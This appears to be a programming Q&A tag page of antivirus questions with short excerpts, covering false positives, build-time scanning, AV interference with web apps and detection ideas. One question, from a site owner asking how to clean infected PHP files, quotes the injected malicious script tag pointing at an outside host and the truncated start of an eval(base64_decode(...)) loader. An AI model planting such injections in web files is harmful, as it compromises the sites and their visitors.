antivirus

Antivirus on application servers which deal with lots of network traffic. Yes or No?

Interested in people's opinion. You have an application server running 3/4 services that do lots of TCP based communication to/from the server. There is also a fairly heafty amount of MSSQL work going on too. Do you run something like Symantec Anti-Virus with proactive/real time/heuristic/foo protection on the server? Or do you per...

Virus scanning in build process

I would like to incorporate scanning for viruses into a Java/Maven/Hudson build process. Unfortunately, i could not find any resources on dedicated tools for this kind of build step. My build environment is Linux-based. My question is: How can antivirus scanning be incorporated into a Maven and Hudson based build process? What are the ...

Norton 360 is thwarting my javascript -- what should I do?

Hi, One of my clients has Norton 360 installed on his computer, and it's interfering with the javascript in my web pages. Not all JS, just some. Simple things like <a href="page.html" onclick="somefunc(); return false;"> don't work. Also using jQuery to attach on onclick event to an a tag doesn't work either: // doesn't work $(d...

Making a simple assembly emulator

Dear All, I am working on project that is detecting unknown Viruses, so i am going to build my small emulator that emulates the assembly code of the executable so i can detect whether it is a virus or not by emulating it to virtual registers then observing what happens. so i need help in getting the code of every assembly instruction in...

Suggestions requested on what to cover in seminar on `Recent Trends in Virus & Anti-virus Stratagies`

I'm going to give a seminar on "Recent Trends in Virus & Anti-virus Strategies" as a part of my course work in my Post Graduation. I got two months of time. So, I want to fully utilize this period. I myself chosen this topic because I want to master this area. I previously asked http://stackoverflow.com/questions/1796007/please-help-me-...

c# antivirus info

in c# for vista+ not WMI doesn't work for vista+ How can I pull the name of the installed anti virus from WSC and if the virus database is updated or needs updating? Thanks ...

how does antivirus software catch viruses trojan ?

how is it that they can catch every single virus and trojan ? what if i simply make a program that is a virus, and not tell anyone, could a AV software detect that ? ...

My Application's Auto-update utility is triggering Anti-Virus

I've created an auto-updating application which is distributed to 100s of users. The auto-update utility is being flagged by 55% of antiviruses on virustotal ( link ). My application was created in Delphi 7. Most of the flags are saying that this is Generic trojan/malware, obviously the software isn't actually malware (I'm the only one...

Application execution slow, on some client machines??

HI Guys, We are providing clickonce solutions to generate reports using Aspose.Slides. and the application works fine in all machines except , for our clients in UK, the application execution is very slow. we thought it might be because of distances to the datacenter, which slows down few downloads, but it even works on lower connectiv...

Java Antivirus... is it possible? How?

Is it possible to write an antivirus program in Java such as that it can intercept a program from being executed? Can I have such a deep control of the OS in Java? update: what about c#? same restrictions apply or that is a better way? ...

How to approach whitelisting an app/exe

We have an application that auto-installs upgrades of itself on our customers' (Windows OS/PCs) computers. It is lightweight (650K) and does a very specific task for our customers in helping us collect data for them as part of our overall service to our customers. It first checks our website to see if a newer version of the app exists an...

Long held AJAX connections being blocked by Anti-Virus

Ok, this is downright bizarre. I am building a web application that relies on long held HTTP connection using COMET, and using this to stream data from the server to the application. Now, the problem is that this does not seem to go well with some anti-virus programs. We are now on beta, and some users are facing problems with the appl...

Using PHP's IMAP library triggers Kaspersky's Antivirus

Hello, I just started today working with PHP's IMAP library, and while imap_fetchbody or imap_body are called, it is triggering my Kaspersky antivirus. The viruses are Trojan.Win32.Agent.dmyq and Trojan.Win32.FraudPack.aoda. I am running this off a local development machine with XAMPP and Kaspersky AV. Now, I am sure there are viruse...

C Language - \n - creating virus

#include<stdio.h> #include<conio.h> union abc { int a; int x; float g; }; struct pqr { int a; int x; float g; } ; void main() { union abc b; struct pqr c; clrscr(); b.a=10; textbackground(2); textcolor(6); cprintf(" A = %d",b.a); printf("\nUnion = %d",sizeof(b)); printf("\nStructure = %d",sizeof(c)); get...

Program sometimes flagged as virus

Why is it that sometimes my program is flagged as a virus for some anti-virus software, when it's not? ...

File Upload via PHP and AntiVirus in Linux?

I was wondering, if I was making a file or image hosting/transfer site, whether or not there was a good approach to check for viruses for files that users are uploading? I was thinking of this: Use traditional PHP file upload form to upload the file to the server. Put files in a queue folder Move the queue folder to a "process" folder...

Does Java have a built-in Antivirus? Is it true?

Does Java have a built-in Antivirus? One of my friends told me there is in the JVM itself - it's called the "sandbox". Is it true? ...

Where do I get a list of all known viruses signatures?

I have written some antivirus software in Python, but am unable to find virus signatures. The software works by dumping each file on the hard disk to hex, thus getting the hex signature. Where do i get signatures for all the known viruses? ...

How can i remove an iframe virus from all of php files on my website?

I have a problem about removing a virus code from my php files. There is more then 1200 php file in my server and every single php file has been infected by an virus. Virus code adding this line to html output <script src="http://holasionweb.com/oo.php"&gt;&lt;/script&gt; This is the code of virus <?php /**/ eval(base64_decode("aWYo...

Doing a virus check on a file from a build script

I would like to be be able to invoke a virus check as the final stage of the build process (please don't question why a dev machine would get a virus, it's just a belt-and-braces approach to avoid the risk of getting sued by customers...). Also I'd like the option of having AV on a machine but switching the auto file system protection o...